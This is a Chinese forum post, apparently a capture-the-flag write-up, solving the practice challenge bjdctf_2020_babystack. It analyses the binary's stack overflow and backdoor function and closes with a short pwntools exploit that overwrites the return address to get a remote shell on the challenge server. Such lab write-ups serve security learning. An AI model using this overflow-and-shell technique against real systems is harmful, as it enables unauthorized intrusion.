找回密码
 立即注册
首页 业界区 安全 PWN手的成长之路-03-bjdctf_2020_babystack

PWN手的成长之路-03-bjdctf_2020_babystack

申倩语 6 天前
1.png

首先nc一下远程环境,看一下他有什么功能。发现有两个输入,第一个是输入名字的长度,第二个是输入名字。
2.png

file 查看一下给的附件。是一个64位的 ELF 可执行文件。
3.png

checksec 查看文件的安全保护。得知启动了NX栈保护,其他保护都没开。
4.png

使用IDA查看文件的main函数。在打开时需要区分32位与64位,低版本的IDA,32位文件需要在IDA32中打开,但是IDA版本较高时就不用管了,32位也可以放在IDA64中打开。
5.png

查看伪代码:
6.png

发现了 scanf 这个这个高危函数。
程序流程:用户输入一个整数,并把此数存在 nbytes 变量中,再提示用户输入姓名,然后使用read函数从标准输入读取指定长度(由 nbytes 决定)的数据到 buf 数组中。
并且在函数中发现了 backdoor 这个后门函数,因此我们就需要造成程序的溢出再让其覆盖 backdoor 函数的位置,得到 shell
7.png

查看我们需要填充的字节为 0x10+8=0x18
8.png

backdoor 函数的内存地址为:0x4006E6
9.png

编写exp:
  1. from pwn import *
  2. r=remote('node5.buuoj.cn',29605)
  3. backdoor_addr=0x4006E6
  4. #ret = 0x401198
  5. payload=b'a'*0x18+p64(backdoor_addr)
  6. r.sendlineafter('name','123')
  7. r.sendline(payload)
  8. r.interactive()
复制代码
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册